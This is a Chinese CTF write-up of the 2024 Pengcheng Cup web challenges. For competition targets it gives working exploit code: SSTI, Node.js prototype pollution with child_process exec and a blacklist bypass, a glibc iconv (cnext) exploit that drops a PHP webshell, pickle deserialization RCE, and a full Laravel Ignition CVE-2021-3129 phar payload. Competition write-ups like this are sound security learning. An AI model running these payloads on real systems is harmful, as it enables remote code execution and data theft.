2024 鹏城杯 web writeup

2024 鹏城杯 web writeup

前言

去年的鹏城杯,在赛后看到TEL师傅的博客

image-20241111040050507

当时就在想,我一年后会不会也变厉害

而现如今

去年的鹏城杯,鄙人只做出来1题

今年的鹏城杯,鄙人和队友一起AK了web 6/6

但是不得不吐槽一下平台,除了中间两三个小时,其他时间平台都崩掉了

python口算

每秒都会更新表达式,使用python算出来后可以得到一个路径

static/f4dd790b-bc4e-48de-b717-903d433c597f

是一段python代码

@app.route('/')
def index(solved=0):
    global current_expr

    # 前端计算
    .....
    .....
    # 通过计算

    username = 'ctfer!'
    if request.args.get('username'):
        username = request.args.get('username')
        if whitelist_filter(username,whitelist_patterns):
            if blacklist_filter(username):
                return render_template_string("filtered")
            else:
                print("你过关!")
        else:
            return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

试了很久GET请求啥都没有,后来队友发现实际是post

exp

import requests

url = 'http://192.168.18.28'
res1 = requests.get(f'{url}/calc')

ans = eval(res1.text)
data = {
    "username": "{{lipsum.__globals__['__builtins__'].open('/flag').read()}}"
}
res2 = requests.post(url=f'{url}/?answer={ans}', data=data)
print(res2.text)

notadmin

const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
    const authHeader = req.headers['authorization'];
    const token = authHeader;
    if (tmp_user.secretKey == undefined) {
        tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
    }
    if (!token) {
        return res.redirect('/login');
    }
    try {
        const decoded = jwt.verify(token, tmp_user.secretKey);
        req.user = decoded;
        next();
    } catch (ex) {
        return res.status(400).send('Invalid token.');
    }
}

const merge = (a, b) => {
    for (var c in b) {
        console.log(JSON.stringify(b[c]));
        if (check(b[c])) {
            if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
                merge(a[c], b[c]);
            } else {
                a[c] = b[c];
            }
        } else {
            return 0
        }
    }
    return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
    let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
    
    if (typeof str === 'object' && str !== null) {
        for (let key in str) {
            if (!check(key)) {
                return false;
            }
            if (!check(str[key])) {
                return false;
            }
        }
        return true;
    } else {
        return !input.test(str);
    }
};

app.get('/login', (req, res) => {
    res.render('login')
});

app.post('/login', (req, res) => {
    if (merge(tmp_user, req.body)) {
        if (tmp_user.secretKey == undefined) {
            tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
        }
        if (User.verifyLogin(tmp_user.password)) {
            const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
            res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
        } else {
            res.send('Login failed!');
        }
    } else {
        res.send("Hacker denied!")
    }
});

app.get('/', (req, res) => {
    authenticateToken(req, res, () => {
        backcode = eval(tmp_user.code)
        res.send("something happend~")
    });
});

app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
});

原型链污染,思路就是污染secret_key伪造签名,还有想要执行的代码

但是code有检查

var check = function (str) {
    let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
    
    if (typeof str === 'object' && str !== null) {
        for (let key in str) {
            if (!check(key)) {
                return false;
            }
            if (!check(str[key])) {
                return false;
            }
        }
        return true;
    } else {
        return !input.test(str);
    }
};

unknown大佬使用url解码绕过

解题

const jwt = require('jsonwebtoken');
function fullUrlEncode(str) {
    return Array.from(str).map(char => '%' + char.charCodeAt(0).toString(16).padStart(2, '0')).join('');
}

console.log(jwt.sign({ username: '123' },'1111111111111111'))

code = `
global.process.mainModule.require('child_process').exec("cp /flag > ./public/flag")
`

exp ='Reflect.get(global,`${`ev`}al`)(decodeURIComponent(`' + fullUrlEncode(code) +'`))'
console.log(exp)

/login使用post进行污染

image-20241111025137795

GET访问/

Authorization请求头带着生成的jwt

image-20241111025353115

image-20241111025402944

Lookup

非预期巨简单,直接jackson二次反序列化+内存马,啥限制都没有

image-20241111025947769

image-20241111025957947

预期的话给了一个jndi注入的sink点,并且理应是需要高版本绕过的

image-20241111025726862

image-20241111025738675

挺好奇预期解的,怎么执行到这个hashcode(有可能与rome依赖有关)

环境应该是jdk8,后续打jndi打内存马就ldap反序列化应该就行了

fileread

php反序列化,最终给的函数是file_get_contents()

尝试读了几个文件都不存在,这里想可能就是要侧信道

实际上侧信道是通过报错来读文件,所以我的思路是错误的

这里实际是利用glibc实现RCE(与iconv有关的缓冲区溢出)

https://xz.aliyun.com/t/14690

unknown大佬好厉害

下载这个:https://github.com/ambionics/cnext-exploits

把原先的函数换成这2个

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    import requests
    from urllib.parse import quote
    import os
    import sys

    def get_b64(s):
        # execute php 1.php
        output = os.popen('php 1.php "' +  s + '"').read().strip()
        return output

    b64 = get_b64(path)
    print('[GET]', path)
    print()
    # print(b64)

    r = requests.get('http://192.168.18.24/?ser='+quote(b64))
    return r

def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    from base64 import b64decode
    path = f"php://filter/convert.base64-encode/resource={path}"
    r = self.send(path)
    text = r.text
    find_text = 'Your file:'
    idx = text.find(find_text) + len(find_text)
    text = text[idx:]
    return b64decode(text)

新建一个1.php

<?php
class cls1{
    var $cls;
    var $arr = array('fileput');
}

class cls2{
    var $filename;
    var $txt = '';
}

$obj = new cls1();
$b = new cls2();
$b->filename = $argv[1];
$obj->cls = $b;
$s= serialize($obj);
echo base64_encode($s) . "\n";

运行:

python3 cnext-exploit.py http://192.168.18.24/ “echo PD89YCRfUE9TVFswXWA7Pz4= | base64 -d > shell.php”

img

ezpython

队里小东西好厉害

/login 有路由

弱口令test/123456

说实话挺抽象的,反正不是我爆出来的

Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ0ZXN0IiwiZXhwIjoxNzMxMTI4NzIzfQ.BjApxIEsP--b3BVjm2DWwZBpNYYM6ANFXamLgBszQVw

img

JWT 有签名校验

img

JWT 密钥可以直接爆破 a123456

img

/ser 返回 Python 代码

import pickle 
import base64 
def hhhhackme(pickled): 
    data = base64.urlsafe_b64decode(pickled) 
    deserialized = pickle.loads(data) 


    return '', 204

请求 /ser POST 传入

{"pickled": "base64(your pickled code here.)"}

img

返回有个 exec_output,不知道是干嘛的(

异常会原样返回

img

import pickle
import base64

class Exp:
    def __reduce__(self):
        return (exec, ('''
raise Exception(open("/flag").read())
'''.strip(),))

print(base64.urlsafe_b64encode(pickle.dumps(Exp())))

img

Laravel

版本8.83.27

laravel debug mode rce

https://www.freebuf.com/vuls/264662.html

清log
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
产payload
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('ls /');system('cat /flag.txt');" --phar phar -o php://output | base64 -w 0 | python -c "import sy
s;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

发AA对齐
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}
发payload,结尾加a
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=62=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=6C=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4E=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=73=00=63=00=79=00=41=00=76=00=4A=00=79=00=6B=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6F=00=42=00=34=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=52=00=41=00=49=00=61=00=36=00=4A=00=66=00=53=00=6C=00=34=00=73=00=58=00=5A=00=78=00=63=00=6D=00=64=00=6F=00=46=00=65=00=4A=00=48=00=69=00=37=00=79=00=74=00=6B=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
  }
}
解码
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
跑,注意路径是/src,不是/var/www
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///src/storage/logs/laravel.log/test.txt"
  }
}

img

我找了个一把梭的脚本,但是那个脚本是有问题的(吓得我当时还以为不是这个漏洞)

后来找到个新的一把梭脚本,直接猛打(不过都是lolita大佬手打完之后了)

https://github.com/joshuavanderpoll/CVE-2021-3129

按照参考文章手打复现的话要注意,最后绝对路径是/src,不是/var/www


2024 鹏城杯 web writeup
https://zer0peach.github.io/2024/11/11/2024-鹏城杯-web-writeup/
作者
Zer0peach
发布于
2024年11月11日
许可协议